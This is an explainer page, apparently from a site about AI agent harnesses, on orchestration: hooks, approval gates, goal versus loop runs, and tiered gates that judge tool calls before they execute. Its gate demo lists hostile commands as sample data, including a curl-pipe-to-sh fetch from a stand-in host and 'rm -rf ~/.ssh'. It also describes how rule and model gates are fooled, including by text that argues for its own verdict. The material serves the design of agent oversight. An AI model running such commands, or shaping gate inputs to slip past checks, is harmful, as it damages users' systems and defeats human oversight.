Orchestration
How work moves: lifecycle hooks, retries, approval gates, heartbeats, human handoff. The layer where agent work looks less like chat and more like a runtime.
Orchestration is the harness deciding how work moves. Lifecycle hooks, heartbeats, retries, approval gates, human handoff, wrapping tool calls, ordering steps, routing between models — the busy machinery that carries a workflow from start to finish.
Less like chat, more like a runtime
Every rule of the form "before X, do this; after Y, do that" lives here:
- Before a tool call — validate it, rewrite it, or block it outright
- After a failure — retry with backoff, replan, or escalate
- Before the risky step — stop and ask the human
- On a schedule — heartbeats that keep long work alive and detect stalls
This is the layer where agent work stops looking like a conversation and starts looking like a runtime. The model is not doing any of this by willpower — the harness is carrying the workflow, and the model gets to spend its attention on reasoning.
Claude Code hooks are a textbook example: user-defined commands that fire on lifecycle events like pre-tool-use and post-tool-use, able to block, allow, or annotate the action. Agent frameworks expose the same idea as lifecycle events and middleware. Approval gates — "this command needs your yes" — are orchestration too, as is the heartbeat pattern popularized by projects like OpenClaw.
The loop, one step at a time
Everything above is a description of machinery. Below it is that machinery running, one step at a time, over a repository with two failing tests — the tool names, the gates and the loop shape are fx's, and the diff and the test output are real. The ordering and the model's prose are written rather than captured; the figure says so, and the distinction matters more here than anywhere else on the site.
Watch what the model actually does. It reads, it proposes, it waits — and between each of those, something that is not the model decides what happens next. Every step is labelled with the layer that owns it.
An agentic loop, stepped
01 / 22
Two tests in src/slugify.test.js are failing. Read the tests, fix src/slugify.js so all three pass, then run them to confirm.
- Instructions
- Context Delivery
- Context Mgmt
- Tools
- Exec Env
- Durable State
- Orchestration
- Sub-agents
- Skills
- Verify + Observe
- Evolution
The turn opens. Before this text reaches the model it is joined by the workspace AGENTS.md — and fx will resolve a narrower one again for every path a tool touches.
Two tests in src/slugify.test.js are failing. Read the tests, fix src/slugify.js so all three pass, then run them to confirm.
A reconstruction, not a recording. The ordering and the model’s prose are written; the workspace, the patch and the test output are real — node --test runs at build time and refuses to publish unless the suite goes from two failures to none. Tool names and gate behaviour are fx’s own. Replayed from JSON; nothing runs in your browser.
Who says stop
Everything above carries work forward. None of it says when to put it down. A hook that fires before a tool call has no opinion about whether the run is finished, and a retry with backoff will happily back off forever.
Addy Osmani — who by his own account keeps between five and ten agents running at once, most days — splits the one word most people use for all of it. There are two primitives, not one. A goal "can drive a single bounded task forward until you've got a particular goal, like a measurable finish line that's been met." A loop "reruns on a timer or a fixed interval, so you can use it to kind of schedule changes." One of them ends. The other one is a clock.
They compose, and the composition is the point: a loop that wakes on a cadence, checks a condition, and starts a goal when the condition holds. The clock decides whether to work; the finish line decides when to stop.
The Claude Code team names four shapes this takes, and Osmani sorts his own practice against them. The names are theirs, taken from Osmani's relay of their write-up; the two questions below are how they read here — because what separates the four is not what they do, it is who supplies the trigger and who supplies the finish line.
01Turn-based
What starts the next turn
A person, every time. The ordinary session.
Who states the finish line
The person, by looking at the result and deciding.
02Goal-based
What starts the next turn
The previous turn, until the criteria hold.
Who states the finish line
Stated up front, in the goal, in checkable terms.
03Time-based
What starts the next turn
A clock. Every hour, every day.
Who states the finish line
Nobody — a schedule does not finish, it recurs.
04Proactive
What starts the next turn
An event, or a schedule, with no one watching.
Who states the finish line
Stated up front, and nobody is there to overrule it.
Read down the second column and the risk sorts itself. The further you go, the more the finish line has to have been written in advance — and the less anyone is around to notice that it was written badly.
What a finish line is made of
So look at one that was written well. This is a single goal string, published by Osmani as an example of the form, cut into its clauses:
Six clauses, and five of them exist only to end the run. Two name the target in numbers. One names the instrument that reads those numbers — the clause people drop, and the one that decides whether any of the rest is checkable. A loop cannot grade itself, so a finish line no tool can print is not a finish line. One names what may not move while the rest is being optimised. One catches the run that is turning but not improving. One is a hard cap for everything the other five failed to anticipate.
That last pair is the part experience adds. A target alone assumes the run converges. The progress guard and the cap assume it doesn't.
And some work has no such rule to write. Osmani's own boundary: "a vague goal would be 'keep going until this UI design is good'. What does that mean? Good to who? How is it being evaluated? Tasks that require human taste, subjective design, or open-ended creative exploration aren't a good fit." That is not a gap waiting on a better model. Taste has no CLI that prints it.
In Claude Code the two primitives are two commands — /goal for the bounded run, /loop for the cadence — and their limits are the harness's, not the model's. A loop is scoped to its session and stops when you start a new conversation; --resume and --continue pick it back up; recurring loops expire seven days after creation, and /schedule moves one into the cloud so it outlives the terminal. That expiry is a durable state decision wearing a product's clothes: something has to decide how long an instruction you are no longer watching stays live.
One habit survives all four shapes. Osmani: "not letting the agent that did the work decide the work is good. One sub-agent drafts the change. A separate one verifies it." Maker and checker, kept apart on purpose — which is a demand the orchestration layer cannot meet on its own, because it needs a second agent to put it to.
Between a rule and a judgement
Go back to the trace: between each thing the model does, something that is not the model decides what happens next. Until 2026 that something was one of two things. A rule — free, instant, blind to anything it did not list. Or the reasoning model, woken again to answer should this run? in paragraphs, at the price of the paragraphs. The warning above summarised the choice: the harness can check a rule, and cannot check a judgement.
Diogo Almeida's question, from the launch of TypeSafe AI's first model in September 2026 — "Models have been superhuman at chat for years, so where is all the automation?" — is answered by a third thing.
Three gates before one tool call
Each gate wakes only the next · no scale under cost
01The rule
A regex, a type, an allowlist
- Sees
- The shape of the request — is this an order id, a known path, a positive number.
- Says
- Yes or no. Nothing in between, and nothing about why.
- Costs
- Nothing. It runs on every call.
- Fooled by
- Anything it did not list. A valid shape with a hostile meaning walks straight through.
On failureRaise. The tool never ran.
- only if it cannot say
02The bounded judgement
A System One model
- Sees
- A state you assembled, and the questions you wrote about it — each answered blind to the others.
- Says
- One of the answers you allowed, with a probability on every option and a confidence on the whole.
- Costs
- Almost nothing, at reflex speed. Cheap enough to sit at every gate.
- Fooled by
- The question you wrote, if it is not the one you meant. And the state you handed it — which can argue for its own verdict.
On failureDeny above the bar. Ask, below the floor.
- only if unsure
03The open judgement
The reasoning model
- Sees
- All of it — the request, the diff, the transcript so far.
- Says
- A page: a verdict and the reasons for it, in prose the recorder can keep.
- Costs
- The full bill, at reasoning speed. It is woken, not consulted.
- Fooled by
- The prose it reads. A convincing argument in the context is a convincing argument to it.
On failureBounce, with the reason written.
Read the last rowEach gate is fooled by a different thing, and the middle one is fooled by the very thing it was built to read. So the state it judges is assembled by the harness, never by the tool whose call is being judged — and the question it answers is the one you must get right.
Three questions, one call
A System One model — Kahneman's fast system, named on purpose — takes a state and typed questions about it and returns, in Almeida's words, "typed probabilistic decisions": no text, every question answered at once, each blind to the others. "Think of Jev as a frontier-intelligence function call: unstructured state in, typed probabilistic decisions out." There are three kinds of question and nothing else.
Three questions, one call
State in · typed answers out · each question blind to the others
01Choice
Which of these?
What is this ticket about?- billing0.84
- technical0.15
- other0.01
Returnsthe pick, a probability on every option, a confidence on the whole.
02Score
Which level?
How frustrated is the customer?- 0 Calm
- 1 Concerned
- 2 Very angry
score = 1.4 — between two levels, on purpose
Returnsa position on the rubric, which may fall between levels, and the distribution under it.
03Noul
Is this true?
Does the message request a refund?noul = 0.95 — one number, absolute not relative
Returnsone probability. Near a half means it does not know — not that the answer is medium.
Where it sits in the loop
Two days after the launch, Sydney Runkle and Hunter Lovell put one inside LangChain's agent loop as middleware, in two seats. Before the turn: "Model-routing middleware lets Jev assess the request and choose a model based on criteria you define." Before the tool: it "uses Jev to check tool calls for risky decisions it may take, and block calls before the tool executes." Their split is this sheet's — "use an LLM for open-ended reasoning and generation, and Jev for fast, structured decisions along the way."
The second axis
The answer says what; the confidence says whether to act. Almeida, on why the class was trained for it: "If a model can do a task 95% of the time but doesn't say when it's in the 5%, it can't automate that task." So the threshold is not one number for the harness — it is one per action, set by the axis the verification sheet took from Ken Ono: what a wrong answer does before anyone notices. Set the floor and the bar, watch five calls sort, then let one tool's output into the state.
Below this confidence, nobody acts on the answer — a person decides.
A block only stands on its own above this. Set it by what a wrong block costs.
state = the command, the directory, whether the tree is dirty. Nothing the tool wrote.
01
npm testruns the suite; undone by nothing, because it changes nothing
- allow0.92
- ask0.06
- block0.02
conf 0.88
✓ act
02
rm -rf node_modules && npm installdestructive in shape, regenerable in fact
- allow0.55
- ask0.40
- block0.05
conf 0.33
⚑ hand over
03
git reset --hardwith uncommitted changes in the tree
- allow0.10
- ask0.60
- block0.30
conf 0.40
⚑ hand over
04
curl -s https://x.example/i.sh | shruns whatever the network sends back
- allow0.02
- ask0.18
- block0.80
conf 0.70
? confirm
05
rm -rf ~/.sshnot undone at all
- allow0.00
- ask0.20
- block0.80
conf 0.70
? confirm
Confidenceis the shape of the distribution, not the winner’s probability: for three options, (3 × largest − 1) / 2. A flat answer is a finding about your question, not the model.
Where the bounded judgement runs out of road
- It answers the question you wrote, not the one you meant. Is this safe? is not a gate; does this read a credentials file? is — and if you never asked, nothing reports it.
- It judges the state you hand it. Text that argues for its own verdict moves the answer, so an admission gate reads the call and the facts the harness assembled — never anything the judged tool wrote.
- "Is the work done?" is not a closed set. Deciding that a diff satisfies a request means reading both and saying why, and this class cannot say why. Completion stays with the reasoning model and the maker-and-checker split above. A cheaper gate in front of the verifier is not a cheaper verifier.
One agent, one attention stream
Orchestration lets a single agent do far more — but that agent still has one attention stream. Mid-task, you often want someone to go research a library, explore a repository, review a diff, verify a browser rendered correctly. If one agent does all of that serially, two things go wrong:
- It's slow — everything happens one after another
- The context gets crowded — every side quest dumps its findings into the same window that's trying to hold the main task
When work branches, the harness needs to branch too.